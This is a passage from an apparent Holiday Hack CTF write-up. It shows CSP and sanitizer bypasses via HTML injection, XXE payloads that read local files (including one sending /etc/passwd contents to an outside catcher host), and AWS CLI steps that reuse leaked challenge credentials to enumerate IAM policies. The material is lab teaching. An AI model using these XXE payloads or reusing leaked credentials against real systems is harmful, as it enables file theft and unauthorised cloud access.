will touch. This is one possible solution:\n\u0026lt;h3 style=\u0026quot;font-size:4.5em;translate:-30px -100px;letter-spacing: -10px;\u0026quot;\u0026gt;\u0026amp;\u0026amp;\u0026amp;\u0026amp;\u0026amp;\u0026amp;\u0026amp;\u0026lt;/h3\u0026gt; Another solution, this time involving text rotation and the same text as for pin 1 could be:\n\u0026lt;h3 style=\u0026quot;translate:12px 35px;transform: rotate(25deg);transform-origin: top left;\u0026quot;\u0026gt;@\u0026amp;@\u0026amp;\u0026amp;W\u0026amp;\u0026amp;W\u0026amp;\u0026amp;\u0026amp;\u0026amp;\u0026lt;/h3\u0026gt; Lock 2 unlocked Lock 3 For the third lock, the CSP is:\n\u0026lt;meta http-equiv=\u0026ldquo;Content-Security-Policy\u0026rdquo; content=\u0026ldquo;script-src \u0026lsquo;self\u0026rsquo; \u0026lsquo;unsafe-inline\u0026rsquo;; style-src \u0026lsquo;self\u0026rsquo;\u0026quot;\u0026gt; This means we cannot use inline CSS anymore, however, we can use inline Javascript! The idea here is to apply the CSS through JS and make sure the text color is blue. Here are 2 possible solutions:\n\u0026lt;script\u0026gt;document.write(\u0026quot;\u0026lt;div id=\\\u0026quot;t\\\u0026quot;\u0026gt;\u0026amp;@\u0026amp;@\u0026amp;\u0026amp;W\u0026amp;\u0026amp;W\u0026amp;\u0026amp;\u0026amp;\u0026amp;\u0026amp;\u0026amp;\u0026lt;/div\u0026gt;\u0026quot;); var element = document.getElementById(\u0026quot;t\u0026quot;); element.style=\u0026quot;translate:-8px 42px; transform:rotate(-22deg); letter-spacing: -5px; color:blue;\u0026quot;;\u0026lt;/script\u0026gt;\nor\n\u0026lt;script\u0026gt;document.write(\u0026quot;\u0026lt;div id=\\\u0026quot;t\\\u0026quot;\u0026gt;WWWWW\u0026lt;/div\u0026gt;\u0026quot;); var element = document.getElementById(\u0026quot;t\u0026quot;); element.style=\u0026quot;font-size:4.5em;translate:-50px -40px;letter-spacing: -10px;color:blue;\u0026quot;;\u0026lt;/script\u0026gt;\n Lock 3 unlocked At this point we have passed the challenge…but there are 3 bonus locks to unlock!\nBonus - Lock 4 For this one, there is no CSP but the following input sanitization function:\n1 2 3 4 5 6 7 8 9 10 11 \u0026lt;script\u0026gt; const sanitizeInput = () =\u0026gt; { const input = document.querySelector(\u0026#39;.inputTxt\u0026#39;); const content = input.value; input.value = content .replace(/\u0026#34;/, \u0026#39;\u0026#39;) .replace(/\u0026#39;/, \u0026#39;\u0026#39;) .replace(/\u0026lt;/, \u0026#39;\u0026#39;) .replace(/\u0026gt;/, \u0026#39;\u0026#39;); } \u0026lt;/script\u0026gt; Some characters are stripped. However, only the first occurrence of those characters are stripped. Therefore, the following input bypasses the check and unlock the lock:\n\u0026lt;\u0026gt;'\u0026quot;\u0026lt;h1\u0026gt;WWWWVV\u0026lt;/h1\u0026gt;\u0026lt;h1 style=\u0026quot;color:blue;translate:0px -30px;\u0026quot;\u0026gt;WWWWWVV\u0026lt;/h1\u0026gt; Lock 4 unlocked Bonus - Lock 5 Here we have the same CSP as Lock 3 and the input sanitization function has changed to strip now all occurrences of the characters. What saves us here is that the input validation is only done client-side. We can intercept the with our favourite proxy (e.g. Burp) and send out input directly to the server without being validated.\nA possible solution would be:\n\u0026lt;script\u0026gt;document.write(\u0026quot;\u0026lt;div id=\\\u0026quot;t\\\u0026quot;\u0026gt;WWWWWWW\u0026lt;/div\u0026gt;\u0026quot;);var element = document.getElementById(\u0026quot;t\u0026quot;);element.style=\u0026quot;font-size:2em;translate:8px 80px;transform:rotate(-25deg);letter-spacing: -10px;color:blue;\u0026quot;; document.write(\u0026quot;\u0026lt;div id=\\\u0026quot;v\\\u0026quot;\u0026gt;WWWWWWWWWWWW\u0026lt;/div\u0026gt;\u0026quot;);var element = document.getElementById(\u0026quot;v\u0026quot;);element.style=\u0026quot;font-size:2em;translate:-20px -30px;transform:rotate(-25deg);letter-spacing: -10px;color:red;\u0026quot;;\u0026lt;/script\u0026gt; Lock 5 unlocked Bonus - Lock 6 The last lock has a more restrictive CSP:\n\u0026lt;meta http-equiv=\u0026ldquo;Content-Security-Policy\u0026rdquo; content=\u0026ldquo;script-src \u0026lsquo;self\u0026rsquo;; style-src \u0026lsquo;self\u0026rsquo;\u0026quot;\u0026gt; We cannot use in-line CSS not Javascript. Let\u0026rsquo;s use HTML SVG graphics for this one as they do no involve JS not CSS to manipulate shapes and colors. We can keep thinks simple and create basic rectangles of the appropriate color. A solution would be:\n\u0026lt;svg height=\u0026quot;200px\u0026quot;width=\u0026quot;100%\u0026quot;\u0026gt;\u0026lt;rect fill=\u0026quot;#0000FF\u0026quot; width=\u0026quot;100%\u0026quot; x=0px y=115px height=\u0026quot;100%\u0026quot;/\u0026gt;\u0026lt;rect fill=\u0026quot;#00FF00\u0026quot; width=\u0026quot;100%\u0026quot; x=0px y=25px height=\u0026quot;10%\u0026quot;/\u0026gt;\u0026lt;rect fill=\u0026quot;#FF0000\u0026quot; width=\u0026quot;100%\u0026quot; x=0px y=55px height=\u0026quot;30%\u0026quot;/\u0026gt;\u0026lt;/svg\u0026gt; Lock 6 unlocked Notice that we could have used SVG for all other locks similarly to bypass CSP.\n3.3 Glamtariel\u0026rsquo;s Fountain Difficulty Objective Location 5/5 Stare into Glamtariel\u0026rsquo;s fountain and see if you can find the ring! What is the filename of the ring she presents you? Talk to Hal Tandybuck in the Web Ring for hints. Fountain We are presented with a website where we can drag and drop images either on the Glamtariel character or on the fountain image. This will result each time in different text outputs.\nGlamtariel\u0026#39;s Fountain Once we have dragged and drop the 4 images on both Glamtariel and the fountain, we have 4 new images with new text outputs. Then another 4. The outputs can give us hints on how to solve the challenge. The hints are showed in CAPITAL letters and they are the following:\nTAMPER\nPATH\nAPP\nTYPE\nSIMPLE FORMAT\nRINGLIST\nTRAFFIC FLIES The messages says that Glamtariel keeps a secret RINGFILE list that is in a SIMPLE FORMAT file. The goal is to find the secret PATH where the RINGLIST file is hidden and try to get its content. Glamtariel says as well that she speaks many different TYPE of languages.\nInteresting thing that when the PATH and APP keyword are shown, the image of an eye is shown and its path is: https://glamtarielsfountain.com/static/images/stage2ring-eyecu_2022.png. The image of Glamtariel and the fountain are in the same folder: https://glamtarielsfountain.com/static/images/2022_glamtariel_2022.png, https://glamtarielsfountain.com/static/images/2022_icefountain_2022.png.\nThe Eye Let\u0026rsquo;s have a look at a call when an image is dragged and dropped:\nBurp - drag \u0026amp; drop We have many info here:\n the endpoint is /dropped\n the payload is a JSON object that contains the name of the image dropped, the character on which it\u0026rsquo;s dropped on (princess or fountain) and the type of the request (json).\n the header X-Grinchum that contains a CSRF token. We break the call as soon as we tamper it. We get the following response and image:\n{\n\u0026ldquo;appResp\u0026rdquo;: \u0026ldquo;Trying to TAMPER with Kringle\u0026rsquo;s favorite cookie recipe or the entrance tickets can\u0026rsquo;t help you Grinchum! I\u0026rsquo;m not sure what you are looking for but it isn\u0026rsquo;t here! Get out!^Miserable trickster! Please click him out of here.\u0026rdquo;,\n\u0026ldquo;droppedOn\u0026rdquo;: \u0026ldquo;none\u0026rdquo;,\n\u0026ldquo;visit\u0026rdquo;: \u0026ldquo;static/images/grinchum-supersecret_9364274.png,265px,135px\u0026rdquo;\n}\nGrinchum We have then to reset the website and start over.\n Playing with the cookie MiniLembanh seems to lead to the same results as the CSRF token\n By playing with some values in the payload, we get that:\n imgDrop must be an existing image who only accepts the princess and fountain reqType accepts json and xml. The message we get when using XML is \u0026ldquo;We don\u0026rsquo;t speak that way very often any more. Once in a while perhaps, but only at certain times.^I don\u0026rsquo;t hear her use that very often. I think only for certain TYPEs of thoughts.\u0026rdquo; Let\u0026rsquo;s try to change the whole payload to XML:\n1 2 3 4 5 6 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34; ?\u0026gt; \u0026lt;root\u0026gt; \u0026lt;imgDrop\u0026gt;img3\u0026lt;/imgDrop\u0026gt; \u0026lt;who\u0026gt;princess\u0026lt;/who\u0026gt; \u0026lt;reqType\u0026gt;xml\u0026lt;/reqType\u0026gt; \u0026lt;/root\u0026gt; We need to change as well the Content-Type header to application/xml and we get a new message from the princess:\nBurp - XML payload If we try on the fountain we get the message \u0026ldquo;I\u0026rsquo;m one of the few who can discuss anything using that TYPE of language.^Yeah, I can understand a bit, but not communicate with it at all.\u0026rdquo;. So let\u0026rsquo;s continue with the princess. We can now definitely try to exploit some XXE vulnerability.\nThis works only after we have reached the last set of 4 images and exhausted all the conversation. Let\u0026rsquo;s try some XXE payloads. This will probably be a blind XXE as there is no field that could display any value back. The who value was returned in the answer with JSON payloads but with XML\u0026rsquo;s, only none is returned. We can use any service to catch the webserver call (e.g. ngrok, requestcatcher.com)\n1 2 3 4 5 6 7 8 9 10 11 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; ?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ELEMENT foo ANY \u0026gt; \u0026lt;!ENTITY % xxe SYSTEM \u0026#34;file:///etc/passwd\u0026#34;\u0026gt; \u0026lt;!ENTITY blind SYSTEM \u0026#34;https://noobintheshell.requestcatcher.com/%xxe;\u0026#34;\u0026gt;]\u0026gt; \u0026lt;root\u0026gt; \u0026lt;foo\u0026gt;\u0026amp;blind;\u0026lt;/foo\u0026gt; \u0026lt;imgDrop\u0026gt;img3\u0026lt;/imgDrop\u0026gt; \u0026lt;who\u0026gt;princess\u0026lt;/who\u0026gt; \u0026lt;reqType\u0026gt;xml\u0026lt;/reqType\u0026gt; \u0026lt;/root\u0026gt; But no answer.\nGlamtariel accepts images (or generic files) as input and will comment it. What if we try to send her an image we saw earlier? The only missing piece is the website document root. However, in the hints above, we have APP which could be it. Let\u0026rsquo;s try:\n1 2 3 4 5 6 7 8 9 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; ?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ELEMENT foo ANY \u0026gt; \u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:///app/static/images/stage2ring-eyecu_2022.png\u0026#34; \u0026gt;]\u0026gt; \u0026lt;root\u0026gt; \u0026lt;imgDrop\u0026gt;\u0026amp;xxe;\u0026lt;/imgDrop\u0026gt; \u0026lt;who\u0026gt;princess\u0026lt;/who\u0026gt; \u0026lt;reqType\u0026gt;xml\u0026lt;/reqType\u0026gt; \u0026lt;/root\u0026gt; We get the following answer \u0026ldquo;Sorry, we dont know anything about that.^Sorry, we dont know anything about that.\u0026rdquo;. We tried other existing images with the same result. After a few tries and errors, and knowing that we are looking for a RINGLIST file that has a SIMPLE FORMAT, we found the right file and path: /app/static/images/ringlist.txt. When we submit that in the payload:\n1 2 3 4 5 6 7 8 9 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; ?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ELEMENT foo ANY \u0026gt; \u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:///app/static/images/ringlist.txt\u0026#34; \u0026gt;]\u0026gt; \u0026lt;root\u0026gt; \u0026lt;imgDrop\u0026gt;\u0026amp;xxe;\u0026lt;/imgDrop\u0026gt; \u0026lt;who\u0026gt;princess\u0026lt;/who\u0026gt; \u0026lt;reqType\u0026gt;xml\u0026lt;/reqType\u0026gt; \u0026lt;/root\u0026gt; We get the following answer:\n{\n\u0026ldquo;appResp\u0026rdquo;: \u0026ldquo;Ah, you found my ring list! Gold, red, blue - so many colors! Glad I don\u0026rsquo;t keep any secrets in it any more! Please though, don\u0026rsquo;t tell anyone about this.^She really does try to keep things safe. Best just to put it away. (click)\u0026rdquo;,\n\u0026ldquo;droppedOn\u0026rdquo;: \u0026ldquo;none\u0026rdquo;,\n\u0026ldquo;visit\u0026rdquo;: \u0026ldquo;static/images/pholder-morethantopsupersecret63842.png,262px,100px\u0026rdquo;\n} The image is:\nhidden folder We can read the name of a folder x_phial_pholder_2022 and 2 files, bluering.txt and redring.txt. Using the same payload, let\u0026rsquo;s share those 2 files with Glamtariel and see her answer:\n /app/static/images/x_phial_pholder_2022/bluering.txt\n\u0026ldquo;I love these fancy blue rings! You can see we have two of them. Not magical or anything, just really pretty.^She definitely tries to convince everyone that the blue ones are her favorites. I\u0026rsquo;m not so sure though.\u0026rdquo;\n /app/static/images/x_phial_pholder_2022/redring.txt\n\u0026ldquo;Hmmm, you still seem awfully interested in these rings. I can\u0026rsquo;t blame you, they are pretty nice.^Oooooh, I can just tell she\u0026rsquo;d like to talk about them some more.\u0026rdquo;\n Nothing new here. We try to discover other ring colors and we get a hit with silverring:\n /app/static/images/x_phial_pholder_2022/silverring.txt {\n\u0026ldquo;appResp\u0026rdquo;: \u0026ldquo;I\u0026rsquo;d so love to add that silver ring to my collection, but what\u0026rsquo;s this? Someone has defiled my red ring! Click it out of the way please!.^Can\u0026rsquo;t say that looks good. Someone has been up to no good. Probably that miserable Grinchum!\u0026rdquo;,\n\u0026ldquo;droppedOn\u0026rdquo;: \u0026ldquo;none\u0026rdquo;,\n\u0026ldquo;visit\u0026rdquo;: \u0026ldquo;static/images/x_phial_pholder_2022/redring-supersupersecret928164.png,267px,127px\u0026rdquo;\n} Red Ring We can read on the ring: goldring_to_be_deleted.txt. So we give that to Glamtariel again:\n /app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt\n\u0026ldquo;Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you\u0026rsquo;ve made a pretty bold REQuest. That\u0026rsquo;s ok, but even if I knew anything about such things, I\u0026rsquo;d only use a secret TYPE of tongue to discuss them.^She\u0026rsquo;s definitely hiding something.\u0026rdquo; We get 2 new hints in capital letters, REQ and TYPE. The message seems to mention that we need to change the injection point to the reqType value now. So we try the payload:\n1 2 3 4 5 6 7 8 9 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; ?\u0026gt; \u0026lt;!DOCTYPE foo[ \u0026lt;!ELEMENT foo ANY \u0026gt; \u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt\u0026#34; \u0026gt;]\u0026gt; \u0026lt;root\u0026gt; \u0026lt;imgDrop\u0026gt;img1\u0026lt;/imgDrop\u0026gt; \u0026lt;who\u0026gt;princess\u0026lt;/who\u0026gt; \u0026lt;reqType\u0026gt;\u0026amp;xxe;\u0026lt;/reqType\u0026gt; \u0026lt;/root\u0026gt; And we get…nothing. We have to choose the silver ring as input image, which is img1! And we get the final response:\n{\n\u0026ldquo;appResp\u0026rdquo;: \u0026ldquo;No, really I couldn\u0026rsquo;t. Really? I can have the beautiful silver ring? I shouldn\u0026rsquo;t, but if you insist, I accept! In return, behold, one of Kringle\u0026rsquo;s golden rings! Grinchum dropped this one nearby. Makes one wonder how \u0026lsquo;precious\u0026rsquo; it really was to him. Though I haven\u0026rsquo;t touched it myself, I\u0026rsquo;ve been keeping it safe until someone trustworthy such as yourself came along. Congratulations!^Wow, I have never seen that before! She must really trust you!\u0026rdquo;,\n\u0026ldquo;droppedOn\u0026rdquo;: \u0026ldquo;none\u0026rdquo;,\n\u0026ldquo;visit\u0026rdquo;: \u0026ldquo;static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png,200px,290px\u0026rdquo;\n} Gold Ring Answer: goldring-morethansupertopsecret76394734.png\n4 - Recover the Cloud Ring 4.1 AWS CLI Intro Difficulty Objective Location 1/5 Try out some basic AWS command line skills in this terminal. Talk to Jill Underpole in the Cloud Ring for hints. Cloud Ring This is not a real challenge but more an introduction to aws cli. We need to follow what is shown in the terminal. After reading the output of aws help, we are asked to configure come credentials for the CLI.\nQ1. Configure the default aws cli credentials with the access key AKQAAYRKO7A5Q5XUY2IY, the secret key qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf and the region us-east-1. The credentials are configured as follows:\n$ aws configure\nAWS Access Key ID [None]: AKQAAYRKO7A5Q5XUY2IY\nAWS Secret Access Key [None]: qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf\nDefault region name [None]: us-east-1\nDefault output format [None]: The result is a ~/.aws/config file that contains:\n[default]\nregion = us-east-1 and a ~/.aws/credentials that contains our credentials in clear…not very secure:\n[default]\naws_access_key_id = AKQAAYRKO7A5Q5XUY2IY\naws_secret_access_key = qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf It would be better to use a more secure way to store credentials, like using aws-vault and store credentials in an encrypted key vault.\nQ2. Get your caller identity using the AWS command line $ aws sts get-caller-identity\n{\n\u0026ldquo;UserId\u0026rdquo;: \u0026ldquo;AKQAAYRKO7A5Q5XUY2IY\u0026rdquo;,\n\u0026ldquo;Account\u0026rdquo;: \u0026ldquo;602143214321\u0026rdquo;,\n\u0026ldquo;Arn\u0026rdquo;: \u0026ldquo;arn:aws:iam::602143214321:user/elf_helpdesk\u0026rdquo;\n} This command is used to check what user or role we have assumed with our credentials.\n4.2 Trufflehog Search Difficulty Objective Location 2/5 Use Trufflehog to find secrets in a Git repo. Work with Jill Underpole in the Cloud Ring for hints. What\u0026rsquo;s the name of the file that has AWS credentials? Cloud Ring For this challenge we are given a Git repository and we have to use trufflehog to look for secrets that could have been commit.\nWe first install trufflehog (we need to have Go installed):\n$ git clone https://github.com/trufflesecurity/trufflehog.git\n$ cd trufflehog\n$ go install Then we can use the tool pointing directly to the repository http://haugfactory.com/orcadmin/aws_scripts.git. We get a few results but only the first one interests us and is a true positive:\ntrufflehog git http://haugfactory.com/orcadmin/aws_scripts.git If we have already cloned the repository, we could use the following command to achieve the same result:\n$ trufflehog git file://aws_scripts The secret is in the file put_policy.py and we can see it in the commit 106d33e1ffd53eea753c1365eafc6588398279b5 as follows:\ngit show 106d33e1ffd53eea753c1365eafc6588398279b5 Answer: put_policy.py\n4.3 Exploitation via AWS CLI Difficulty Objective Location 3/5 Flex some more advanced AWS CLI skills to escalate privileges! Help Gerty Snowburrow in the Cloud Ring to get hints for this challenge. Cloud Ring We will be re-using the credentials found in the previous challenge to go through another series of questions using AWS CLI.\nQ1. Configure credentials for us-east-1. This is the same step as we did in a previous challenge:\n$ aws configure\nAWS Access Key ID [None]: AKIAAIDAYRANYAHGQOHD\nAWS Secret Access Key [None]: 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\nDefault region name [None]: us-east-1\nDefault output format [None]: Q2. Test credendials. Same as previously:\n$ aws sts get-caller-identity\n{\n\u0026ldquo;UserId\u0026rdquo;: \u0026ldquo;AIDAJNIAAQYHIAAHDDRA\u0026rdquo;,\n\u0026ldquo;Account\u0026rdquo;: \u0026ldquo;602123424321\u0026rdquo;,\n\u0026ldquo;Arn\u0026rdquo;: \u0026ldquo;arn:aws:iam::602123424321:user/haug\u0026rdquo;\n} We are using the credentials of the user haug.\nQ3. Use the AWS CLI to find any policies attached to your user. We need to use the command aws iam list-attached-user-policies for this:\n$ aws iam list-attached-user-policies --user-name haug\n{\n\u0026ldquo;AttachedPolicies\u0026rdquo;: [\n{\n\u0026ldquo;PolicyName\u0026rdquo;: \u0026ldquo;TIER1_READONLY_POLICY\u0026rdquo;,\n\u0026ldquo;PolicyArn\u0026rdquo;: \u0026ldquo;arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY\u0026rdquo;\n}],\n\u0026ldquo;IsTruncated\u0026rdquo;: false\n} The policy TIER1_READONLY_POLICY is attached to our user. This is a custom policy that can be used on other users, groups or roles.\nQ4. View or get the policy that is attached to your user. $ aws iam get-policy --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY\n{\n\u0026ldquo;Policy\u0026rdquo;: {\n\u0026ldquo;PolicyName\u0026rdquo;: \u0026ldquo;TIER1_READONLY_POLICY\u0026rdquo;,\n\u0026ldquo;PolicyId\u0026rdquo;: \u0026ldquo;ANPAYYOROBUERT7TGKUHA\u0026rdquo;,\n\u0026ldquo;Arn\u0026rdquo;: \u0026ldquo;arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY\u0026rdquo;,\n\u0026ldquo;Path\u0026rdquo;: \u0026ldquo;/\u0026rdquo;,\n\u0026ldquo;DefaultVersionId\u0026rdquo;: \u0026ldquo;v1\u0026rdquo;,\n\u0026ldquo;AttachmentCount\u0026rdquo;: 11,\n\u0026ldquo;PermissionsBoundaryUsageCount\u0026rdquo;: 0,\n\u0026ldquo;IsAttachable\u0026rdquo;: true,\n\u0026ldquo;Description\u0026rdquo;: \u0026ldquo;Policy for tier 1 accounts to have limited read only access to certain resources in IAM, S3, and LAMBDA.\u0026rdquo;,\n\u0026ldquo;CreateDate\u0026rdquo;: \u0026ldquo;2022-06-21 22:02:30+00:00\u0026rdquo;,\n\u0026ldquo;UpdateDate\u0026rdquo;: \u0026ldquo;2022-06-21 22:10:29+00:00\u0026rdquo;,\n\u0026ldquo;Tags\u0026rdquo;: []\n}\n} We only get some metadata on the policy here. The description tells us that it could give us a limited read only access to IAM, S3 and Lambda service.\nQ5. View the default version of this policy. $ aws iam get-policy-version --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY --version-id v1\n{\n\u0026ldquo;PolicyVersion\u0026rdquo;: {\n\u0026ldquo;Document\u0026rdquo;: {\n\u0026ldquo;Version\u0026rdquo;: \u0026ldquo;2012-10-17\u0026rdquo;,\n\u0026ldquo;Statement\u0026rdquo;: [\n{\n\u0026ldquo;Effect\u0026rdquo;: \u0026ldquo;Allow\u0026rdquo;,\n\u0026ldquo;Action\u0026rdquo;: [\n\u0026ldquo;lambda:ListFunctions\u0026rdquo;,\n\u0026ldquo;lambda:GetFunctionUrlConfig\u0026rdquo;\n],\n\u0026ldquo;Resource\u0026rdquo;: \u0026ldquo;*\u0026rdquo;\n},\n{\n\u0026ldquo;Effect\u0026rdquo;: \u0026ldquo;Allow\u0026rdquo;,\n\u0026ldquo;Action\u0026rdquo;: [\n\u0026ldquo;iam:GetUserPolicy\u0026rdquo;,\n\u0026ldquo;iam:ListUserPolicies\u0026rdquo;,\n\u0026ldquo;iam:ListAttachedUserPolicies\u0026rdquo;\n],\n\u0026ldquo;Resource\u0026rdquo;: \u0026ldquo;arn:aws:iam::602123424321:user/${aws:username}\u0026rdquo;\n},\n{\n\u0026ldquo;Effect\u0026rdquo;: \u0026ldquo;Allow\u0026rdquo;,\n\u0026ldquo;Action\u0026rdquo;: [\n\u0026ldquo;iam:GetPolicy\u0026rdquo;,\n\u0026ldquo;iam:GetPolicyVersion\u0026rdquo;\n],\n\u0026ldquo;Resource\u0026rdquo;: \u0026ldquo;arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY\u0026rdquo;\n},\n{\n\u0026ldquo;Effect\u0026rdquo;: \u0026ldquo;Deny\u0026rdquo;,\n\u0026ldquo;Principal\u0026rdquo;: \u0026ldquo;*\u0026rdquo;,\n\u0026ldquo;Action\u0026rdquo;: [\n\u0026ldquo;s3:GetObject\u0026rdquo;,\n\u0026ldquo;lambda:Invoke*\u0026rdquo;\n],\n\u0026ldquo;Resource\u0026rdquo;: \u0026ldquo;*\u0026rdquo;\n}]\n},\n\u0026ldquo;VersionId\u0026rdquo;: \u0026ldquo;v1\u0026rdquo;,\n\u0026ldquo;IsDefaultVersion\u0026rdquo;: false,\n\u0026ldquo;CreateDate\u0026rdquo;: \u0026ldquo;2022-06-21 22:02:30+00:00\u0026rdquo;\n}\n} We have the full details of what we are allowed to do. We can:\n list Lambda all functions and get their function URLs we can view and list the policies attached to our own user we can get the policy details of TIER1_READONLY_POLICY we are explicitely denied to download S3 objects and invoke Lambdas Q6. List the inline policies associated with your user. $ aws iam list-user-policies --user-name haug\n{\n\u0026ldquo;PolicyNames\u0026rdquo;: [\n\u0026ldquo;S3Perms\u0026rdquo;\n],\n\u0026ldquo;IsTruncated\u0026rdquo;: false\n} We have an additional inline policy S3Perms attached. This policy cannot be shared and is automatically deleted if the user is deleted.\nQ7. Get the only inline policy for your user. $ aws iam get-user-policy --user-name haug --policy-name S3Perms\n{\n\u0026ldquo;UserPolicy\u0026rdquo;: {\n\u0026ldquo;UserName\u0026rdquo;: \u0026ldquo;haug\u0026rdquo;,\n\u0026ldquo;PolicyName\u0026rdquo;: \u0026ldquo;S3Perms\u0026rdquo;,\n\u0026ldquo;PolicyDocument\u0026rdquo;: {\n\u0026ldquo;Version\u0026rdquo;: \u0026ldquo;2012-10-17\u0026rdquo;,\n\u0026ldquo;Statement\u0026rdquo;: [\n{\n\u0026ldquo;Effect\u0026rdquo;: \u0026ldquo;Allow\u0026rdquo;,\n\u0026ldquo;Action\u0026rdquo;: [\n\u0026ldquo;s3:ListObjects\u0026rdquo;\n],\n\u0026ldquo;Resource\u0026rdquo;: [\n\u0026ldquo;arn:aws:s3:::smogmachines3\u0026rdquo;,\n\u0026ldquo;arn:aws:s3:::smogmachines3/*\u0026rdquo;\n]\n}]\n}\n},\n\u0026ldquo;IsTruncated\u0026rdquo;: false\n} This policy allows us to list the objects of the S3 bucket smogmachines3.\nQ8. List those objects. $ aws s3api list-objects --bucket smogmachines3\n{\n\u0026ldquo;IsTruncated\u0026rdquo;: false,\n\u0026ldquo;Marker\u0026rdquo;: \u0026ldquo;\u0026rdquo;,\n\u0026ldquo;Contents\u0026rdquo;: [\n{\n\u0026ldquo;Key\u0026rdquo;: \u0026ldquo;coal-fired-power-station.jpg\u0026rdquo;,\n\u0026ldquo;LastModified\u0026rdquo;: \u0026ldquo;2022-09-23 20:40:44+00:00\u0026rdquo;,\n\u0026ldquo;ETag\u0026rdquo;: \u0026ldquo;\u0026quot;1c70c98bebaf3cff781a8fd3141c2945\u0026quot;\u0026rdquo;,\n\u0026ldquo;Size\u0026rdquo;: 59312,\n\u0026ldquo;StorageClass\u0026rdquo;: \u0026ldquo;STANDARD\u0026rdquo;,\n\u0026ldquo;Owner\u0026rdquo;: {\n\u0026ldquo;DisplayName\u0026rdquo;: \u0026ldquo;grinchum\u0026rdquo;,\n\u0026ldquo;ID\u0026rdquo;: \u0026ldquo;15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60\u0026rdquo;\n}\n},\n{\n\u0026ldquo;Key\u0026rdquo;: \u0026ldquo;industry-smog.png\u0026rdquo;,\n\u0026ldquo;LastModified\u0026rdquo;: \u0026ldquo;2022-09-23 20:40:47+00:00\u0026rdquo;,\n\u0026ldquo;ETag\u0026rdquo;: \u0026ldquo;\u0026quot;c0abe5cb56b7a33d39e17f430755e615\u0026quot;\u0026rdquo;,\n\u0026ldquo;Size\u0026rdquo;: 272528,\n\u0026ldquo;StorageClass\u0026rdquo;: \u0026ldquo;STANDARD\u0026rdquo;,\n\u0026ldquo;Owner\u0026rdquo;: {\n\u0026ldquo;DisplayName\u0026rdquo;: \u0026ldquo;grinchum\u0026rdquo;,\n\u0026ldquo;ID\u0026rdquo;: \u0026ldquo;15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60\u0026rdquo;\n}\n},\n{\n\u0026ldquo;Key\u0026rdquo;: \u0026ldquo;pollution-smoke.jpg\u0026rdquo;,\n\u0026ldquo;LastModified\u0026rdquo;: \u0026ldquo;2022-09-23 20:40:43+00:00\u0026rdquo;,\n\u0026ldquo;ETag\u0026rdquo;: \u0026ldquo;\u0026quot;465b675c70d73027e13ffaec1a38beec\u0026quot;\u0026rdquo;,\n\u0026ldquo;Size\u0026rdquo;: 33064,\n\u0026ldquo;StorageClass\u0026rdquo;: \u0026ldquo;STANDARD\u0026rdquo;,\n\u0026ldquo;Owner\u0026rdquo;: {\n\u0026ldquo;DisplayName\u0026rdquo;: \u0026ldquo;grinchum\u0026rdquo;,\n\u0026ldquo;ID\u0026rdquo;: \u0026ldquo;15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60\u0026rdquo;\n}\n},\n{\n\u0026ldquo;Key\u0026rdquo;: \u0026ldquo;pollution.jpg\u0026rdquo;,\n\u0026ldquo;LastModified\u0026rdquo;: \u0026ldquo;2022-09-23 20:40:45+00:00\u0026rdquo;,\n\u0026ldquo;ETag\u0026rdquo;: \u0026ldquo;\u0026quot;d40d1db228c9a9b544b4c552df712478\u0026quot;\u0026rdquo;,\n\u0026ldquo;Size\u0026rdquo;: 81775,\n\u0026ldquo;StorageClass\u0026rdquo;: \u0026ldquo;STANDARD\u0026rdquo;,\n\u0026ldquo;Owner\u0026rdquo;: {\n\u0026ldquo;DisplayName\u0026rdquo;: \u0026ldquo;grinchum\u0026rdquo;,\n\u0026ldquo;ID\u0026rdquo;: \u0026ldquo;15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60\u0026rdquo;\n}\n},\n{\n\u0026ldquo;Key\u0026rdquo;: \u0026ldquo;power-station-smoke.jpg\u0026rdquo;,\n\u0026ldquo;LastModified\u0026rdquo;: \u0026ldquo;2022-09-23 20:40:48+00:00\u0026rdquo;,\n\u0026ldquo;ETag\u0026rdquo;: \u0026ldquo;\u0026quot;2d7a8c8b8f5786103769e98afacf57de\u0026quot;\u0026rdquo;,\n\u0026ldquo;Size\u0026rdquo;: 45264,\n\u0026ldquo;StorageClass\u0026rdquo;: \u0026ldquo;STANDARD\u0026rdquo;,\n\u0026ldquo;Owner\u0026rdquo;: {\n\u0026ldquo;DisplayName\u0026rdquo;: \u0026ldquo;grinchum\u0026rdquo;,\n\u0026ldquo;ID\u0026rdquo;: \u0026ldquo;15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60\u0026rdquo;\n}\n},\n{\n\u0026ldquo;Key\u0026rdquo;: \u0026ldquo;smog-power-station.jpg\u0026rdquo;,\n\u0026ldquo;LastModified\u0026rdquo;: \u0026ldquo;2022-09-23 20:40:46+00:00\u0026rdquo;,\n\u0026ldquo;ETag\u0026rdquo;: 